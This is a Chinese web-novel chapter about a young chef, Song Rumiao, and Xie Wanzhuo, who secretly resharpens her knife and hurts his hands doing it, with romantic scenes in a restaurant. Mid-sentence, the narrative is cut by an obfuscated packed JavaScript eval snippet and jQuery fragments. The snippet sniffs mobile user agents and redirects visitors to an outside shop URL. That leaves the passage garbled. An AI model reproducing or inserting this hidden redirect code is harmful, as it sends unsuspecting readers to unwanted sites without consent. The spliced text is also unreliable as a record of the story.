日子不紧不慢地过，三年时间在“如酌”的灶火与青年的守望下悄然流逝。


    又是一年金秋十月。云锦里的梧桐叶铺满青石板路，踩上去沙沙作响，像在给这座城市的烟火气打着节拍。


    “如酌汤面”二楼的小包间里，光线正好。


    刚刚过完十六岁生日的宋如淼，正趴在光斑里看《陈老手记残卷》。少女身条抽得修长，原本有些婴儿肥的脸颊褪去了稚气，下颌线清晰利落，脖颈在阳光下白得几乎透明。她咬着笔杆，眉头死死锁着，像是在跟纸上的文字较劲。


    谢晚酌坐在她对面，翻着一册厚厚的英文书。


    十七岁的谢晚酌，彻底褪去了少年的单薄。定制的衬衫包裹着宽阔的肩背，隐约勾勒出流畅的肌肉线条。他有了介于青年与男人之间的挺拔与分寸感。那双瑞凤眼依旧清冷，只是在书页上停留的时间，远没有停留在对面那个毛茸茸的头顶上长。


    宋如淼似乎读到了极费解处，下意识抬起手，想去揉发红的眼角——这是她思考时的坏习惯。


    手腕在半空被截住了。


    谢晚酌的手指修长，骨节分明，掌心带着干燥的温度，精准地扣住她温热的手腕，指腹若有似无地擦过她腕内侧那一小片软肉。


    “别揉。”他的嗓音低下去，像贴着耳膜擦过，“切过葱。”


    他没松手，反而微微收紧了些，从口袋里掏出湿纸巾，慢条斯理地帮她把指尖一根根擦拭干净。动作太自然熟练，她忘了抽回手，只觉得指尖被他捏得发烫。等热意爬上来，才后知后觉地察觉——他指腹有一层很薄的茧。


    “看不懂？”擦完，他才松开，视线扫过那本笔记。


    宋如淼回过神，有些沮丧地把下巴磕在桌面上，声音闷闷的：“陈老说‘豚肩之筋，需逆纹三断，再顺纹一抚’。我试了几十次，要么断得太碎，要么抚得不到位，嚼着还是柴。”


    她伸出手指比划着：“方爷爷说这是基本功，可我总觉得……我和陈老之间隔着一堵墙。”


    谢晚酌看着她皱成一团的小脸，沉默片刻，起身走到窗边。楼下厨房剁肉的声音隐约传来。


    “把你那把主厨刀拿来。”


    “啊？”宋如淼一愣，“现在的刀不快吗？”


    “刀快，不等于刀合适。”


    谢晚酌没多解释，转身下楼。再上来时，手里拎着那个深胡桃色的刀盒——那是他送她的第一套专业刀具。


    他没有坐回椅子上，而是直接在她面前的羊毛地毯上席地而坐。长腿随意曲起，单手解开袖扣，将衬衫袖子挽至手肘，露出线条清晰的小臂。


    “看好了。”


    他取出那把主厨刀，又拿出配套的砥石。阳光斜切进来，落在刀刃上，反射出流水般的寒光。


    谢晚酌神色淡然，手腕却沉稳有力。


    沙——沙——沙——


    磨刀石与刀锋摩擦的声音规律而低沉，宋如淼看得有些发怔。


    她从未见过谢晚酌做这种“粗活”。在她的印象里，这双手更像用来翻书、写字、签合同——而不是压着刀背，一寸寸推过去。


    可此刻，那双干净的手压在刀背上，指骨因为用力而微微凸起，手背上的青筋随着动作起伏。一滴汗沿着鼻梁滑到下颌，被他停顿时轻轻抬手抹去。


    “青纸钢硬度高，但韧性太强。”谢晚酌一边磨，一边低声道，声音里带着微微的喘息，“你处理豚肩时，为了对抗筋膜的阻力，手腕会不自觉下压。这一压，肉的纹理就死了。”


    他停下动作，指腹贴着刀刃轻轻一滑，试了试锋芒。


    “所以我把刀背磨薄了些，刃角也收了点。”


    他抬起头，把刀递给她：“现在的它，应该能跟上你的手速了，试下。”


    宋如淼下意识接过刀。入手的瞬间，一种奇异的“贴合感”顺着掌心蔓延。轻盈、平衡，顺得不可思议，仿佛这把刀原本就属于她。


    她震惊地看着他：“你怎么懂这些？还有……刃角改小几度，这得磨多久？”


    谢晚酌别过脸，拿起旁边的毛巾擦手：“看了你的录像，觉得不顺手，就随便琢磨了一下。”


    “琢磨？随便？”


    宋如淼眯起眼，目光忽然落在他还没来得及收回去的左手上。


    在大拇指和食指的虎口处，贴着两个创可贴。因为刚才沾了水，创可贴边缘翘起，露出一道细长的划痕，周围皮肤被水浸得微微发白。


    那是新伤叠着旧伤，在白皙的手背上显得异常刺眼。


    宋如淼心口一紧，酸涩感瞬间泛滥，连带着鼻尖都有些泛红。


    “谢晚酌。”她突然伸手，一把抓住了他的左手。


    谢晚酌身体一僵，下意识想抽回：“脏——”


    “别动！”宋如淼凶巴巴地喝住了他。


    她把他按回原位，自己转身跑去拿医药箱，搬了个小板凳坐在他膝边。


    “手伸出来。”她板着脸，语气是不容置疑的严厉。


    谢晚酌顿了顿，顺从地伸出手。


    宋如淼小心翼翼地揭开湿透的创可贴。底下是几道错综的口子，有的已经结痂，有的还在渗血珠。她拿着棉签沾了碘伏，一点点涂在他的伤口上。


    “疼吗？”她垂着眼，睫毛轻轻颤抖，声音软了下来。


    谢晚酌低头看着她。从这个角度，能看到她挺翘的鼻尖，和因为心疼而微微抿起的红唇。她身上混着厨房的烟火气和偷吃的桂花糖味，甜得要命。


    “不疼。”他喉结滚动，声音有些哑。


    “骗人。”宋如淼嘟囔着，凑近了些，对着伤口轻轻呼气，“呼——呼——痛痛飞走。”


    温热的气息拂过敏感的虎口，像是电流顺着神经末梢直窜天灵盖。


    谢晚酌放在膝盖上的另一只手猛地收紧。他在用尽全力克制着某种呼之欲出的冲动——想把她拉起来，想告诉她，这点伤算什么，为了她，断几根骨头都心甘情愿。


    “好了。”宋如淼贴上新的创可贴，这才抬起头。


    这一抬头，两人之间的距离近在咫尺。她撞进了一双深不见底的眸子里。“你要是把手磨坏了，我以后拿什么还你？”


    谢晚酌肩背一紧，喉结滚了一下。


    宋如淼声音努力装得凶：“下次再这样，我就不让你碰我的刀。”


    话是这么说，她却把他包扎好的手捧在掌心，像捧着一件很贵重的东西，轻轻放回他膝上。然后才后知后觉地发现——自己一直抓着他的手，抓得太久了。


    她猛地收回，摸了摸发烫的耳朵，强装镇定，“我去……我去试试刀！”


    她像只受惊的兔子，抱着刀盒跳起来就往楼下跑。


    楼下后厨，正是备料的空档期。


    被宋如淼请来评菜的方总厨正戴着老花镜在检查高汤的成色，见她风风火火地冲下来，不由得一乐：“怎么了淼淼？火烧眉毛了？”


    “方爷爷，我想再试一次‘金缕豚肩’。”宋如淼没多解释，径直走到案板前。


    帮厨的小王正在旁边切配菜，闻言摇了摇头：“淼淼，那豚肩肉筋多得像渔网，刚才李姨切废了两块都还在骂呢。你那刀……”


    宋如淼深吸一口气，打开刀盒，取出了那把被谢晚酌磨过的刀。


    当刀刃触碰到豚肩肉的一瞬间，手心一热，没有滞涩，没有阻力。


    以往切到筋膜处，手腕总需要暗暗发力去“锯”，可现在，刀刃只是轻轻一压，那些坚韧的白色筋膜就像是遇到了热油的雪，无声无息地断开了。


    逆纹三断。


    唰、唰、唰。三刀下去，深浅一致，肉片薄如蝉翼却藕断丝连。


    顺纹一抚。


    宋如淼手腕微转，刀身侧面贴着肌肉纤维轻轻一抹。这一次，她没有感觉到以前那种令人烦躁的反弹力，刀身像自己往该去的地方滑，完美地顺着纹理滑过。


    原本紧缩的肉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168103|195438||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    质，在这一抚之下竟舒展开来，呈现出一种松弛而饱满的半透明状。


    “这……”


    旁边传来一声惊叹。宋如淼回过头，发现方总厨不知何时已经摘了老花镜，站在了她身后。老人盯着案板上的肉，又看了看她手里的刀，神色复杂。


    “成了？”小王凑过来，眼珠子都快瞪出来了，“淼淼，你这是换手了还是换刀了？这肉切得跟艺术品似的。”


    方总厨拿起那把刀，指腹轻轻在刀背上摩挲，目光在看到那明显变薄的刀背和微调过的刃角时，停顿了许久。


    “这不是普通的磨刀。”老人把刀轻轻放回宋如淼面前，语气里带着几分感慨，“淼淼啊，磨刀的人，为了让你切这一刀省三分力，自己怕是费了十二分的心。这把刀现在的重心，是完全照着你的手劲改的。”


    宋如淼握着刀柄，掌心微微发烫。她想起楼上那个满手伤痕却说“随便琢磨”的青年，鼻尖蓦地一酸。


    她没说话，只是转身开了火。


    起锅，烧油，爆香。


    处理完美的豚肩肉入锅，发出“滋啦”一声悦耳的轻响。这一次，肉片在高温下迅速卷曲成漂亮的“金缕”状，香气霸道地炸裂开来，瞬间填满了整个后厨。


    她太高兴了，用托盘盛好，端着热气一路上楼，推门时还喘着。她要让他第一个尝到。


    推开包间的门，谢晚酌还维持着刚才的姿势，只是手里的书换成了一份文件。听到动静，他抬起头，目光落在她兴奋的脸上。


    “好了？”


    宋如淼把托盘放下。盘子里是一份刚出锅的“金缕豚肩”，色泽金黄透亮，每一片肉都像是在发光。旁边还配了一碗热气腾腾的阳春面。


    “快尝尝！”她递过筷子，眼睛亮晶晶的。


    谢晚酌夹起一片肉，没有急着下口，先抬眼看了她一瞬，像是把她的期待也一并接住。


    肉入口，他动作仍旧克制，喉结却轻轻滚了一下；筷子在半空停了半拍，又夹了第二片。


    他放下筷子时，目光回到她脸上，那点清冷像被热气熏软，眸色深得发烫。


    宋如淼一直屏着的气，这才松开。


    “满分。”谢晚酌低声道。


    “谢晚酌，你真是我的神仙外挂！”宋如淼笑得眉眼弯弯，“以后我有搞不定的事，都找你好不好？”


    他目光落在她脸上，眼底的寒冰尽数化作春水。指尖轻轻挑起她垂落在脸侧的一缕碎发，别到耳后。动作极轻，带着一丝不易察觉的虔诚与眷恋。


    “好。”


    他在心里默默补了一句：——只要你需要，我永远都在这里。


    宋如淼突然想起什么，她在围裙上擦了擦手，从口袋里掏出一样东西。那是一张叠得方方正正的、粉红色的便签纸。


    “给。”


    “这是什么？”


    “如酌的永久免单券。”宋如淼展开便签，上面画着一个简笔画小人，手里拿着一把刀，旁边写着一行字：【凭此券，宋主厨随叫随到，终身有效。】


    “我想了想，我好像没什么能给你的。”宋如淼把便签塞进他衬衫的口袋里，那是离心脏最近的地方，脸颊有些发烫。


    “以后你想吃什么，不管多晚，我都给你做。而且随叫随到。”


    窗外秋风乍起，卷起几片金黄的落叶，叩在窗棂上，轻轻响。屋内的空气像被桂花糖熬过，甜甜得怎么也散不掉。


    谢晚酌低头看着胸口露出的那一点粉色边角，唇角微勾。


    “好，那这张券，我可要收好了。这大概是我这辈子，收到过最赚的承诺了。


    【渊境积蓄进度：57.5% → 58.8%】


    宋如淼看着脑海里跳动的数字，又偷偷瞄了一眼对面正重新拿起书、看似平静却耳根通红的青年。


    她摸了摸自己发烫的指尖，指腹上仿佛还留着他薄茧的触感。她悄悄把手攥进袖口，像藏起一颗过甜的糖。